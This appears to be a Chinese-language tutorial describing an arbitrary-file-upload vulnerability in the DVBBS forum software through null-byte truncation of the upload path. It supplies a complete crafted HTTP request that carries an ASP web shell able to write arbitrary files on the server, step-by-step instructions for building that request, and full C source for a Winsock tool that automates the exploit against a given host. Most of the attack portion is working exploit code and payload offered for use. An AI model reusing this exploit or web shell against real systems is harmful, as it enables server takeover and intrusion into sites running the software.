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最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小*（*蛋儿的《目前流行的BBS安全性比较》一文请参阅：http://wvw.ttian.net/forum/viewtopic.php?id=269）说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且异常严峻,用小*的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方式,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了). 我们先看一下动网论坛上传文件的相关代码: \\\'===========无组件上传(upload_0)==================== sub upload_0() set upload=new UpFile_Class \\\'\\\'建立上传对象 upload.GetDate (int(Forum_Setting(56))*1024) \\\'取得上传数据,不限大小 iCount=0 if upload.err > 0 then select case upload.err case 1 Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]" case 2 Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]" end select exit sub else formPath=upload.form("filepath") \\\'\\\'在目录后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" for each formName in upload.file \\\'\\\'列出所有上传了的文件 set file=upload.file(formName) \\\'\\\'生成一个文件对象 if file.filesize<100 then response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]" response.end end if fileExt=lcase(file.FileExt) if CheckFileExt(fileEXT)=false then response.write "文件格式不准确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]" response.end end if randomize ranNum=int(90000*rnd)+10000 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt if file.FileSize>0 then \\\'\\\'假如 FileSize > 0 说明有文件数据 file.SaveToFile Server.mappath(filename) \\\'\\\'保存文件 \\\' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" response.write "<script>parent.document．forms[0].myface.value=\\\'"&FileName&"\\\'</script>" iCount=iCount+1 end if set file=nothing next set upload=nothing session("upface")="done" Htmend iCount&" 个文件上传结束!" end if end sub 在上面代码中可以看到这样一句: filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document．forms[0].Submit.disabled=true, parent.document．forms[0].Submit2.disabled=true;"> </form> 这样,我们知道了,程序是提取file1表单和fname表单中的值来做判定的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,假如是我们自己构造数据包的话就不相同了.欲望之翼提出的方式就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了. 当然,主要的问题不在这里,假如我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.要害就在这一句了: formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的要害就是看是否遇到\\\'/0\\\'字符,假如是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface/zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface/zwell.asp\\\'/0\\\'的字符串然后发送出去就行了. 我们先来看一下数据包的格式(论坛上似乎大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^): POST /forum/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: uyee.com Content-Length: 1593 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF -----------------------------7d4a325500d2 Content-Disposition: form-data; name="filepath" uploadFace/zwell.asp -----------------------------7d4a325500d2 Content-Disposition: form-data; name="act" upload -----------------------------7d4a325500d2 Content-Disposition: form-data; name="file1"; filename="C:/1.gif" Content-Type: text/plain <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "<font color=red>save Success!</font>"%> <%else%> <%response.write "<font color=red>Save UnSuccess!</font>"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write "<form action=\\\'\\\'\\\'\\\' method=post>"%> <%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> <%Response.Write "<br>"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write "<br>"%> <%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> <%Response.write "<input type=submit value=save>"%> <%Response.write "</form>"%> -----------------------------7d4a325500d2 Content-Disposition: form-data; name="fname" C:/1.gif -----------------------------7d4a325500d2 Content-Disposition: form-data; name="Submit" 上传 -----------------------------7d4a325500d2-- 上面的数据我是在WIN2003下调试的.按我前面讲的,只要改几个地方就好了 1.Content-Disposition: form-data; name="file1"; filename="C:/1.gif" 2.Content-Disposition: form-data; name="fname" C:/1.gif 3.最重要的地方:uploadFace/zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方式,用16进制编辑,(因为\\\'/0\\\'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00). 至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注重这一句: Content-Length: 1593 很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--/r/n/r/n"截止,大家看到的"/r/n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简朴的方式:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注重,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的. 写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,详细不多说了,部分代码如下: #include <winsock2.h> #include <stdio.h> #include "Resource.h" #pragma comment(lib,"ws2_32.lib") HINSTANCE g_hInst; HWND g_hWnd; HWND m_up; HWND m_host; HWND m_webpath; HWND m_path; HWND m_filename; HWND m_upload; DWORD m_theadid; BYTE sendbuf[10000]; char host[80]; //主机地址 char bbspath[50]; //论坛地址 char uppath[20]; //上传目录 char upfilename[50]; //上传文件名 char upfiledata[8000]; //上传文件内容 int sendsize; //总传送数据大小 int realsndsize = 0; //传送页面文件的大小 char snddata[8000]; char mm[1000]= "<%dim objFSO%>/r/n" "<%dim fdata%>/r/n" "<%dim objCountFile%>/r/n" "<%on error resume next%>/r/n" "<%Set objFSO = Server.CreateObject(/"Scripting.FileSystemObject/")%>/r/n" "<%if Trim(request(/"syfdpath/"))<>/"/" then%>/r/n" "<%fdata = request(/"cyfddata/")%>/r/n" "<%Set objCountFile=objFSO.CreateTextFile(request(/"syfdpath/"),True)%>/r/n" "<%objCountFile.Write fdata%>/r/n" "<%if err =0 then%>/r/n" "<%response.write /"<font color=red>save Success!</font>/"%>/r/n" "<%else%>" "<%response.write /"<font color=red>Save UnSuccess!</font>/"%>/r/n" "<%end if%>/r/n" "<%err.clear%>/r/n" "<%end if%>" "<%objCountFile.Close%>/r/n" "<%Set objCountFile=Nothing%>/r/n" "<%Set objFSO = Nothing%>" "<%Response.write /"<form action=/\\\'/\\\' method=post>/"%>/r/n" "<%Response.Write /"<input type=text name=syfdpath width=32 size=50>/"%>/r/n" "<%Response.Write /"<br>/"%>/r/n" "<%=server.mappath(Request.ServerVariables(/"SCRIPT_NAME/"))%>/r/n" "<%Response.write /"<br>/"%>/r/n" "<%Response.write /"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>/"%>/r/n" "<%Response.write /"<input type=submit value=save>/"%>/r/n" "<%Response.write /"</form>/"%>/r/n"; //获得控件文本 char *gettext(HWND chwnd) { char tmpbuf[10000]; SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf); return tmpbuf; } //设置控件文本 void settext(HWND chwnd,char *text) { SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text); } char *itos(int data) { char tmp[10]; sprintf(tmp, "%d", data); return tmp; } //上传线程 DWORD WINAPI uploadthread(LPVOID param) { SOCKET s; sockaddr_in sin; struct hostent * hp; unsigned int addr; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory((void *)&sin, sizeof(sin)); hp = gethostbyname(gettext(m_host)); if (!hp) addr = inet_addr(gettext(m_host)); if ((!hp) && (addr == INADDR_NONE) ) { MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK); return 0; } if (hp != NULL) memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length); else sin.sin_addr.s_addr = addr; sin.sin_port = htons(80); sin.sin_family = AF_INET; strcpy(host, gettext(m_host)); strcpy(bbspath, gettext(m_webpath)); strcpy(upfiledata, gettext(m_upload)); strcpy(uppath, gettext(m_path)); strcpy(upfilename, gettext(m_filename)); realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1; sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1/r/n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*/r/n" "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp/r/n" "Accept-Language: zh-cn/r/n" "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2/r/n" "Accept-Encoding: gzip, deflate/r/n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)/r/n" "Host: %s/r/n" "Content-Length: %d/r/n" "Connection: Keep-Alive/r/n" "Cache-Control: no-cache/r/n" "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF/r/n/r/n" "-----------------------------7d4a325500d2/r/n" "Content-Disposition: form-data; name=/"filepath/"/r/n/r/n" "%s//%s", bbspath, host, realsndsize, uppath, upfilename); sendsize = strlen((char *)sendbuf); sendbuf[sendsize] = \\\'/0\\\'; sprintf(snddata, "/r/n" "-----------------------------7d4a325500d2/r/n" "Content-Disposition: form-data; name=/"act/"/r/n/r/n" "upload/r/n" "-----------------------------7d4a325500d2/r/n" "Content-Disposition: form-data; name=/"file1/"; filename=/"C://1.gif/"/r/n" "Content-Type: text/plain/r/n/r/n" "%s/r/n" "-----------------------------7d4a325500d2/r/n" "Content-Disposition: form-data; name=/"fname/"/r/n/r/n" "C://1.gif/r/n" "-----------------------------7d4a325500d2/r/n" "Content-Disposition: form-data; name=/"Submit/"/r/n/r/n" "上传/r/n" "-----------------------------7d4a325500d2--/r/n/r/n", upfiledata); strcat((char *)&sendbuf[sendsize+1], snddata); sendsize += strlen(snddata); sendsize += 1; if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin))) { MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OK|MB_IConERROR); return 0; } int sendsz = send(s, (char *)sendbuf, sendsize, 0); if(sendsz <= 0) MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK); char recvbuf[10000]; recv(s, (char*)recvbuf, 10000, 0); settext(m_upload, recvbuf); closesocket(s); return 0; } void WINAPI On_Command(WPARAM wParam) { switch (LOWORD(wParam)) { case ID_UP: CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid); break; case IDCANCEL: SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL)); break; } } static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_INITDIALOG: g_hWnd = hWndDlg; m_up = GetDlgItem(g_hWnd, ID_UP); m_host = GetDlgItem(g_hWnd, IDC_EDIT1); m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2); m_path = GetDlgItem(g_hWnd, IDC_EDIT3); m_upload = GetDlgItem(g_hWnd, IDC_EDIT4); m_filename = GetDlgItem(g_hWnd, IDC_EDIT5); settext(m_host, "192.168.10.101"); settext(m_webpath, "/"); settext(m_path, "uploadface"); settext(m_filename, "zwell.asp"); settext(m_upload, mm); return TRUE; case WM_COMMAND: On_Command(wParam); break; case WM_SIZE: break; case WM_CLOSE: EndDialog(g_hWnd,0); break; } return FALSE; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WSADATA wsaData; g_hInst=hInstance; if(WSAStartup(MAKEWORD(1, 1), &wsaData)) { MessageBox(NULL,"无法初始化 Winsock DLL/t","错误",MB_OK|MB_ICONSTOP); return 0; } DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc); WSACleanup(); return 1; } WINDOWS2003 + VC.NET WINDOWS2003 WINDOWS2000测试通过 返回类别: 教程 上一教程: asp性能测试报告（转）（二） 下一教程: MD5加密算法 ASP版 您可以阅读与"动网论坛上传文件漏洞的原理以及攻击的代码实现"相关的教程: · 实现文件下载而不是由IE打开的代码 · 用纯ASP代码实现图片上传并存入数据库中(一) · 无组件文件上传代码实例 · 用纯ASP代码实现图片上传 · 6行代码实现无组件上传 |
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